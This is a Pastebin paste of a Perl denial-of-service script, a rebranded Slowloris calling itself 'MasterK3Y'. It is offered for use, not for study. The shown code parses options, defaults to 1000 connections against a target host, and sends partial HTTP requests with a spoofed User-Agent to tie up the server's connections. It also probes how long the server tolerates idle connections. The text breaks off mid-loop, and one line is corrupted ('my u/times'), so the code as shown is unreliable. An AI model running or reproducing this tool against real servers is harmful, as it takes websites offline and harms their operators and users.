dicktripover

This is Sparta

Apr 12th, 2020
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.59 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use strict;
  4.  
  5. use IO::Socket::INET;
  6.  
  7. use IO::Socket::SSL;
  8.  
  9. use Getopt::Long;
  10.  
  11. use Config;
  12.  
  13.  
  14. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
  15.  
  16.  
  17. print <<EOTEXT;
  18.  
  19. Welcome to MasterK3Y - the low bandwidth, yet greedy and poisonous HTTP client Re3v1s3d By: K3YHoL3S3c
  20.  
  21. EOTEXT
  22.  
  23.  
  24. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  25.  
  26. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  27.  
  28. my $result = GetOptions(
  29.  
  30. 'shost=s' => \$shost,
  31.  
  32. 'dns=s' => \$host,
  33.  
  34. 'httpready' => \$httpready,
  35.  
  36. 'num=i' => \$connections,
  37.  
  38. 'cache' => \$cache,
  39.  
  40. 'port=i' => \$port,
  41.  
  42. 'https' => \$ssl,
  43.  
  44. 'tcpto=i' => \$tcpto,
  45.  
  46. 'test' => \$test,
  47.  
  48. 'timeout=i' => \$timeout,
  49.  
  50. 'version' => \$version,
  51.  
  52. );
  53.  
  54.  
  55. if ($version) {
  56.  
  57. print "Version 0.7\n";
  58.  
  59. exit;
  60.  
  61. }
  62.  
  63.  
  64. unless ($host) {
  65.  
  66. print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  67.  
  68. print "\n\tType 'perldoc $0' for help with options.\n\n";
  69.  
  70. exit;
  71.  
  72. }
  73.  
  74.  
  75. unless ($port) {
  76.  
  77. $port = 80;
  78.  
  79. print "Defaulting to port 80.\n";
  80.  
  81. }
  82.  
  83.  
  84. unless ($tcpto) {
  85.  
  86. $tcpto = 5;
  87.  
  88. print "Defaulting to a 5 second tcp connection timeout.\n";
  89.  
  90. }
  91.  
  92.  
  93. unless ($test) {
  94.  
  95. unless ($timeout) {
  96.  
  97. $timeout = 100;
  98.  
  99. print "Defaulting to a 100 second re-try timeout.\n";
  100.  
  101. }
  102.  
  103. unless ($connections) {
  104.  
  105. $connections = 1000;
  106.  
  107. print "Defaulting to 1000 connections.\n";
  108.  
  109. }
  110.  
  111. }
  112.  
  113.  
  114. my $usemultithreading = 0;
  115.  
  116. if ( $Config{usethreads} ) {
  117.  
  118. print "Multithreading enabled.\n";
  119.  
  120. $usemultithreading = 1;
  121.  
  122. use threads;
  123.  
  124. use threads::shared;
  125.  
  126. }
  127.  
  128. else {
  129.  
  130. print "No multithreading capabilites found!\n";
  131.  
  132. print "Slowloris will be slower than normal as a result.\n";
  133.  
  134. }
  135.  
  136.  
  137. my $packetcount : shared = 0;
  138.  
  139. my $failed : shared = 0;
  140.  
  141. my $connectioncount : shared = 0;
  142.  
  143.  
  144. srand() if ($cache);
  145.  
  146.  
  147. if ($shost) {
  148.  
  149. $sendhost = $shost;
  150.  
  151. }
  152.  
  153. else {
  154.  
  155. $sendhost = $host;
  156.  
  157. }
  158.  
  159. if ($httpready) {
  160.  
  161. $method = "POST";
  162.  
  163. }
  164.  
  165. else {
  166.  
  167. $method = "GET";
  168.  
  169. }
  170.  
  171.  
  172. if ($test) {
  173.  
  174. my u/times = ( "2", "30", "90", "240", "500" );
  175.  
  176. my $totaltime = 0;
  177.  
  178. foreach (@times) {
  179.  
  180. $totaltime = $totaltime + $_;
  181.  
  182. }
  183.  
  184. $totaltime = $totaltime / 60;
  185.  
  186. print "This test could take up to $totaltime minutes.\n";
  187.  
  188.  
  189. my $delay = 0;
  190.  
  191. my $working = 0;
  192.  
  193. my $sock;
  194.  
  195.  
  196. if ($ssl) {
  197.  
  198. if (
  199.  
  200. $sock = new IO::Socket::SSL(
  201.  
  202. PeerAddr => "$host",
  203.  
  204. PeerPort => "$port",
  205.  
  206. Timeout => "$tcpto",
  207.  
  208. Proto => "tcp",
  209.  
  210. )
  211.  
  212. )
  213.  
  214. {
  215.  
  216. $working = 1;
  217.  
  218. }
  219.  
  220. }
  221.  
  222. else {
  223.  
  224. if (
  225.  
  226. $sock = new IO::Socket::INET(
  227.  
  228. PeerAddr => "$host",
  229.  
  230. PeerPort => "$port",
  231.  
  232. Timeout => "$tcpto",
  233.  
  234. Proto => "tcp",
  235.  
  236. )
  237.  
  238. )
  239.  
  240. {
  241.  
  242. $working = 1;
  243.  
  244. }
  245.  
  246. }
  247.  
  248. if ($working) {
  249.  
  250. if ($cache) {
  251.  
  252. $rand = "?" . int( rand(99999999999999) );
  253.  
  254. }
  255.  
  256. else {
  257.  
  258. $rand = "";
  259.  
  260. }
  261.  
  262. my $primarypayload =
  263.  
  264. "GET /$rand HTTP/1.1\r\n"
  265.  
  266. . "Host: $sendhost\r\n"
  267.  
  268. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  269.  
  270. . "Content-Length: 42\r\n";
  271.  
  272. if ( print $sock $primarypayload ) {
  273.  
  274. print "Connection successful, now comes the waiting game...\n";
  275.  
  276. }
  277.  
  278. else {
  279.  
  280. print
  281.  
  282. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  283.  
  284. print "Is something wrong?\nDying.\n";
  285.  
  286. exit;
  287.  
  288. }
  289.  
  290. }
  291.  
  292. else {
  293.  
  294. print "Uhm... I can't connect to $host:$port.\n";
  295.  
  296. print "Is something wrong?\nDying.\n";
  297.  
  298. exit;
  299.  
  300. }
  301.  
  302. for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  303.  
  304. print "Trying a $times[$i] second delay: \n";
  305.  
  306. sleep( $times[$i] );
  307.  
  308. if ( print $sock "X-a: b\r\n" ) {
  309.  
  310. print "\tWorked.\n";
  311.  
  312. $delay = $times[$i];
Add Comment
Please, Sign In to add comment